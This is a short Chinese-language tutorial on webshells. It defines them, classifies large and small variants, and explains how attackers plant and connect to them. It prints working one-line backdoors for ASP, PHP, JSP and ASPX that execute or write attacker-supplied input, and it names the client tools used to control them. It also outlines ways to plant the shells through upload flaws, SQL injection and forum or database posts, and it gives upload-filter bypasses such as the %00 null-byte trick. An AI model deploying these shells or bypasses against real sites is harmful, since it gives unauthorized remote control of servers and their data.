Webshell

1.webshell概念:

​ web:web服务器上

​ shell:用脚本语言编写的脚本程序

​ webshell:用来进行网站和服务器管理的脚本程序

2.Webshell的分类

​ 1、大马:体积大、功能全、会调用系统相关的函数、代码通过加密的方式隐藏

​ 2、小马: 体积小、功能小、如只有上传功能

3.webshell的编写方法

​ 1.asp:

<%execute(request("value"))%>

​ 2.php:

<?php @eval($_POST['flag']); ?>

​ 3.jsp:

<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

​ 4.aspx:

<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

客户端连接:

菜刀

蚁剑

lanker一句话客户端

weevly

一句话客户端增强版

使用的方法:

​ 1.直接通过上传webshell到服务器的web目录

​ 2.找到数据库是.asp .php .jsp等格式网站,然后留言板,论坛文章发表的方式,把一句话添加到数据库中

​ 3.把一句话木马插入到网站的动态页面,然后直接通过客户端连接网页

​ ……

4.Webshell上传攻击原理

​ <%execute(request(“value”))%> shell.asp

编写一句话——>想办法添加目标网站的根目录(上传漏洞、命令执行漏洞、sql注入漏洞(sqlmap拿到系统权限,也可以提交文件))——>通过客户端去连接我们的一句话木马,从而实现对目标的任意操作

5.Webshell上传绕过方法

​ js绕过

​ %00绕过

​ 两个条件:1.php版本5.3.4及以前 2.magic_quotes_gpc=OFF